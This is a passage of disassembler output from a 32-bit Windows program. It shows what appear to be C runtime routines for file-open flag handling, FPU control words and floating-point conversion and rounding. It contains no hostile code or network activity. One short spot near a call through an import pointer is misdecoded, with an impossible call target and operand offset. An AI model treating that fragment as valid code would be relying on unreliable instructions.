loc_41D5F5:				; CODE XREF: sub_41D53A+A4j
					; sub_41D53A+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41D63F
		jz	short loc_41D63A
		cmp	ecx, ebx
		jz	short loc_41D63A
		cmp	ecx, edi
		jz	short loc_41D631
		cmp	ecx, 200h
		jz	short loc_41D658
		cmp	ecx, 300h
		jnz	loc_41D596
		mov	[ebp+var_8], 2
		jmp	short loc_41D668
; ---------------------------------------------------------------------------


loc_41D631:				; CODE XREF: sub_41D53A+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41D668
; ---------------------------------------------------------------------------


loc_41D63A:				; CODE XREF: sub_41D53A+D0j
					; sub_41D53A+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41D668
; ---------------------------------------------------------------------------


loc_41D63F:				; CODE XREF: sub_41D53A+CEj
		cmp	ecx, 500h
		jz	short loc_41D661
		cmp	ecx, 600h
		jz	short loc_41D658
		cmp	ecx, edx
		jz	short loc_41D661
		jmp	loc_41D596
; ---------------------------------------------------------------------------


loc_41D658:				; CODE XREF: sub_41D53A+E0j
					; sub_41D53A+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41D668
; ---------------------------------------------------------------------------


loc_41D661:				; CODE XREF: sub_41D53A+10Bj
					; sub_41D53A+117j
		mov	[ebp+var_8], 1


loc_41D668:				; CODE XREF: sub_41D53A+F5j
					; sub_41D53A+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41D687
		mov	ecx, ds:dword_46946C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41D687
		push	1
		pop	esi


loc_41D687:				; CODE XREF: sub_41D53A+138j
					; sub_41D53A+148j
		test	al, 40h
		jz	short loc_41D695
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_41D695:				; CODE XREF: sub_41D53A+14Fj
		test	ah, 10h
		jz	short loc_41D69C
		or	esi, edi


loc_41D69C:				; CODE XREF: sub_41D53A+15Ej
		test	al, 20h
		jz	short loc_41D6A8
		or	esi, 8000000h
		jmp	short loc_41D6B2
; ---------------------------------------------------------------------------


loc_41D6A8:				; CODE XREF: sub_41D53A+164j
		test	al, 10h
		jz	short loc_41D6B2
		or	esi, 10000000h


loc_41D6B2:				; CODE XREF: sub_41D53A+16Cj
					; sub_41D53A+170j
		call	sub_41D320
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41D6D3
		and	ds:dword_469468, 0
		mov	ds:dword_469464, 18h
		jmp	short loc_41D711
; ---------------------------------------------------------------------------


loc_41D6D3:				; CODE XREF: sub_41D53A+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	ds:dword_421078
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41D704
		push	esi
		call	near ptr 0EE261DA6h
		xor	al, [ebp+arg_561B75B8]
		call	ds:dword_42106C


loc_41D704:				; CODE XREF: sub_41D53A+1B6j
		call	ds:dword_421088
		push	eax
		call	sub_41C5B7
		pop	ecx


loc_41D711:				; CODE XREF: sub_41D53A+197j
		mov	eax, edi
		jmp	loc_41D7EE
; ---------------------------------------------------------------------------
		cmp	eax, 2
		jnz	short loc_41D723
		or	[ebp+var_1], 40h
		jmp	short loc_41D72C
; ---------------------------------------------------------------------------


loc_41D723:				; CODE XREF: sub_41D53A+1E1j
		cmp	eax, 3
		jnz	short loc_41D72C
		or	[ebp+var_1], 8


loc_41D72C:				; CODE XREF: sub_41D53A+1E7j
					; sub_41D53A+1ECj
		push	esi
		push	ebx
		call	loc_41D3B5
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:46A780h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41D7D5
		test	al, 80h
		jz	short loc_41D7D5
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41D7D5
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41BB5F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41D78A
		cmp	ds:dword_469468, 83h
		jz	short loc_41D7D5
		jmp	short loc_41D7C9
; ---------------------------------------------------------------------------


loc_41D78A:				; CODE XREF: sub_41D53A+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41B969
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D7B7
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41D7B7
		push	[ebp+var_10]
		push	ebx
		call	sub_41E82C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D7C9


loc_41D7B7:				; CODE XREF: sub_41D53A+265j
					; sub_41D53A+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41BB5F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D7D5


loc_41D7C9:				; CODE XREF: sub_41D53A+24Ej
					; sub_41D53A+27Bj
		push	ebx
		call	sub_4185AB
		pop	ecx


loc_41D7D0:				; CODE XREF: sub_41D53A+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D7EE
; ---------------------------------------------------------------------------


loc_41D7D5:				; CODE XREF: sub_41D53A+221j
					; sub_41D53A+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41D7EC
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41D7EC
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41D7EC:				; CODE XREF: sub_41D53A+29Fj
					; sub_41D53A+2A5j
		mov	eax, ebx


loc_41D7EE:				; CODE XREF: sub_41D53A+1D9j
					; sub_41D53A+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D53A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D7F3	proc near		; CODE XREF: sub_419B93+52p
		xor	eax, eax
		retn
sub_41D7F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D7F6	proc near		; CODE XREF: sub_41D82B+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41D841
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41D8D3
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41D7F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D82B	proc near		; CODE XREF: sub_419E7F+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41D7F6
		pop	ecx
		pop	ecx
		retn
sub_41D82B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D841	proc near		; CODE XREF: sub_41D7F6+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41D852
		push	10h
		pop	eax


loc_41D852:				; CODE XREF: sub_41D841+Cj
		test	bl, 4
		jz	short loc_41D859
		or	al, 8


loc_41D859:				; CODE XREF: sub_41D841+14j
		test	bl, 8
		jz	short loc_41D860
		or	al, 4


loc_41D860:				; CODE XREF: sub_41D841+1Bj
		test	bl, 10h
		jz	short loc_41D867
		or	al, 2


loc_41D867:				; CODE XREF: sub_41D841+22j
		test	bl, 20h
		jz	short loc_41D86E
		or	al, 1


loc_41D86E:				; CODE XREF: sub_41D841+29j
		test	bl, 2
		jz	short loc_41D878
		or	eax, 80000h


loc_41D878:				; CODE XREF: sub_41D841+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41D8B0
		cmp	edx, 400h
		jz	short loc_41D8AD
		cmp	edx, 800h
		jz	short loc_41D8A9
		cmp	edx, esi
		jnz	short loc_41D8B0
		or	eax, edi
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D8A9:				; CODE XREF: sub_41D841+5Ej
		or	eax, ebp
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D8AD:				; CODE XREF: sub_41D841+56j
		or	ah, 1


loc_41D8B0:				; CODE XREF: sub_41D841+4Ej
					; sub_41D841+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41D8C0
		cmp	ecx, ebp
		jnz	short loc_41D8C5
		or	eax, 10000h
		jmp	short loc_41D8C5
; ---------------------------------------------------------------------------


loc_41D8C0:				; CODE XREF: sub_41D841+72j
		or	eax, 20000h


loc_41D8C5:				; CODE XREF: sub_41D841+76j
					; sub_41D841+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41D8D2
		or	eax, 40000h

locret_41D8D2:				; CODE XREF: sub_41D841+8Aj
		retn
sub_41D841	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D8D3	proc near		; CODE XREF: sub_41D7F6+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41D8E3
		push	1
		pop	eax


loc_41D8E3:				; CODE XREF: sub_41D8D3+Bj
		test	bl, 8
		jz	short loc_41D8EA
		or	al, 4


loc_41D8EA:				; CODE XREF: sub_41D8D3+13j
		test	bl, 4
		jz	short loc_41D8F1
		or	al, 8


loc_41D8F1:				; CODE XREF: sub_41D8D3+1Aj
		test	bl, 2
		jz	short loc_41D8F8
		or	al, 10h


loc_41D8F8:				; CODE XREF: sub_41D8D3+21j
		test	bl, 1
		jz	short loc_41D8FF
		or	al, 20h


loc_41D8FF:				; CODE XREF: sub_41D8D3+28j
		test	ebx, 80000h
		jz	short loc_41D909
		or	al, 2


loc_41D909:				; CODE XREF: sub_41D8D3+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41D936
		cmp	ecx, 100h
		jz	short loc_41D933
		cmp	ecx, esi
		jz	short loc_41D92E
		cmp	ecx, edx
		jnz	short loc_41D936
		or	ah, 0Ch
		jmp	short loc_41D936
; ---------------------------------------------------------------------------


loc_41D92E:				; CODE XREF: sub_41D8D3+50j
		or	ah, 8
		jmp	short loc_41D936
; ---------------------------------------------------------------------------


loc_41D933:				; CODE XREF: sub_41D8D3+4Cj
		or	ah, 4


loc_41D936:				; CODE XREF: sub_41D8D3+44j
					; sub_41D8D3+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41D94C
		cmp	ecx, 10000h
		jnz	short loc_41D94E
		or	eax, esi
		jmp	short loc_41D94E
; ---------------------------------------------------------------------------


loc_41D94C:				; CODE XREF: sub_41D8D3+6Bj
		or	eax, edx


loc_41D94E:				; CODE XREF: sub_41D8D3+73j
					; sub_41D8D3+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41D95B
		or	ah, 10h

locret_41D95B:				; CODE XREF: sub_41D8D3+83j
		retn
sub_41D8D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D95C	proc near		; CODE XREF: sub_41D9FB+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41D9A1
		inc	esi
		cmp	esi, 3
		jge	short loc_41D99C
		lea	eax, [eax+esi*4]


loc_41D98E:				; CODE XREF: sub_41D95C+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41D9A1
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41D98E


loc_41D99C:				; CODE XREF: sub_41D95C+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D9A1:				; CODE XREF: sub_41D95C+27j
					; sub_41D95C+35j
		xor	eax, eax
		pop	esi
		retn
sub_41D95C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9A5	proc near		; CODE XREF: sub_41D9FB+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41E972
		add	esp, 0Ch
		dec	esi
		js	short loc_41D9F7
		lea	edi, [ebx+esi*4]


loc_41D9DE:				; CODE XREF: sub_41D9A5+50j
		test	eax, eax
		jz	short loc_41D9F7
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41E972
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41D9DE


loc_41D9F7:				; CODE XREF: sub_41D9A5+34j
					; sub_41D9A5+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D9A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D9FB	proc near		; CODE XREF: sub_41DB56+81p
					; sub_41DB56+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41DA5F
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41D95C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41DA5C
		push	edi
		push	[ebp+arg_0]
		call	sub_41D9A5
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_41DA5C:				; CODE XREF: sub_41D9FB+51j
		mov	eax, [ebp+arg_4]


loc_41DA5F:				; CODE XREF: sub_41D9FB+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41DA7F
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_41DA7F:				; CODE XREF: sub_41D9FB+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D9FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA87	proc near		; CODE XREF: sub_41DB56+75p
					; sub_41DB56+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_41DA95:				; CODE XREF: sub_41DA87+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41DA95
		pop	esi
		retn
sub_41DA87	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAA2	proc near		; CODE XREF: sub_41DB56+5Fp
					; sub_41DB56+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41DAA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAAE	proc near		; CODE XREF: sub_41DB56+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_41DAB4:				; CODE XREF: sub_41DAAE+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41DAC6
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41DAB4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41DAC6:				; CODE XREF: sub_41DAAE+9j
		xor	eax, eax
		retn
sub_41DAAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DAC9	proc near		; CODE XREF: sub_41DB56+C0p
					; sub_41DB56+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41DAFF:				; CODE XREF: sub_41DAC9+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41DAFF
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41DB31:				; CODE XREF: sub_41DAC9+86j
		cmp	ebx, edi
		jl	short loc_41DB44
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41DB4B
; ---------------------------------------------------------------------------


loc_41DB44:				; CODE XREF: sub_41DAC9+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_41DB4B:				; CODE XREF: sub_41DAC9+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41DB31
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DAC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB56	proc near		; CODE XREF: sub_41DCC2+Dp
					; sub_41DCD8+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41DBC3
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41DAAE
		test	eax, eax
		pop	ecx
		jnz	loc_41DC82
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAA2
		pop	ecx


loc_41DBBB:				; CODE XREF: sub_41DB56+E4j
		push	2


loc_41DBBD:				; CODE XREF: sub_41DB56+110j
		pop	eax
		jmp	loc_41DC84
; ---------------------------------------------------------------------------


loc_41DBC3:				; CODE XREF: sub_41DB56+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41DA87
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41D9FB
		add	esp, 10h
		test	eax, eax
		jz	short loc_41DBE4
		inc	ebx


loc_41DBE4:				; CODE XREF: sub_41DB56+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41DBFC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAA2
		pop	ecx
		jmp	short loc_41DC38
; ---------------------------------------------------------------------------


loc_41DBFC:				; CODE XREF: sub_41DB56+98j
		cmp	ebx, eax
		jg	short loc_41DC3F
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DA87
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41DAC9
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41D9FB
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAC9
		add	esp, 20h


loc_41DC38:				; CODE XREF: sub_41DB56+A4j
		xor	esi, esi
		jmp	loc_41DBBB
; ---------------------------------------------------------------------------


loc_41DC3F:				; CODE XREF: sub_41DB56+A8j
		cmp	ebx, [edi]
		jl	short loc_41DC6B
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAA2
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAC9
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41DBBD
; ---------------------------------------------------------------------------


loc_41DC6B:				; CODE XREF: sub_41DB56+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41DAC9
		pop	ecx
		pop	ecx


loc_41DC82:				; CODE XREF: sub_41DB56+55j
		xor	eax, eax


loc_41DC84:				; CODE XREF: sub_41DB56+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41DCB3
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41DCBD
; ---------------------------------------------------------------------------


loc_41DCB3:				; CODE XREF: sub_41DB56+14Ej
		cmp	edi, 20h
		jnz	short loc_41DCBD
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_41DCBD:				; CODE XREF: sub_41DB56+15Bj
					; sub_41DB56+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DB56	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCC2	proc near		; CODE XREF: sub_41DCEE+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_4386C0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41DB56
		add	esp, 0Ch
		retn
sub_41DCC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCD8	proc near		; CODE XREF: sub_41DD1B+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_4386D8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41DB56
		add	esp, 0Ch
		retn
sub_41DCD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DCEE	proc near		; CODE XREF: sub_419FB8+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EB13
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DCC2
		add	esp, 24h
		leave
		retn
sub_41DCEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD1B	proc near		; CODE XREF: sub_419FB8+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EB13
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DCD8
		add	esp, 24h
		leave
		retn
sub_41DD1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD48	proc near		; CODE XREF: sub_419FF6+65p
					; sub_41A0FA+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_41DD85
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41DD6B:				; CODE XREF: sub_41DD48+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41DD77
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD77:				; CODE XREF: sub_41DD48+27j
		push	30h
		pop	edx


loc_41DD7A:				; CODE XREF: sub_41DD48+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41DD6B
		mov	edx, [ebp+arg_8]


loc_41DD85:				; CODE XREF: sub_41DD48+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41DD9E
		cmp	byte ptr [ecx],	35h
		jl	short loc_41DD9E


loc_41DD91:				; CODE XREF: sub_41DD48+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_41DD9C
		mov	byte ptr [eax],	30h
		jmp	short loc_41DD91
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: sub_41DD48+4Dj
		inc	byte ptr [eax]


loc_41DD9E:				; CODE XREF: sub_41DD48+42j
					; sub_41DD48+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41DDA8
		inc	dword ptr [edx+4]
		jmp	short loc_41DDBA
; ---------------------------------------------------------------------------


loc_41DDA8:				; CODE XREF: sub_41DD48+59j
		push	edi
		call	sub_415CD0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_416470
		add	esp, 10h


loc_41DDBA:				; CODE XREF: sub_41DD48+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41DD48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDBF	proc near		; CODE XREF: sub_419FF6+3Fp
					; sub_41A0FA+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DE23
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_469630
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41EFE4
		mov	ds:dword_469658, eax
		add	esp, 18h
		movsx	eax, ds:byte_469632
		mov	ds:dword_469650, eax
		pop	edi
		movsx	eax, ds:word_469630
		mov	ds:dword_469654, eax
		mov	ds:dword_46965C, offset	dword_469634
		mov	eax, offset dword_469650
		pop	esi
		leave
		retn
sub_41DDBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE23	proc near		; CODE XREF: sub_41DDBF+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
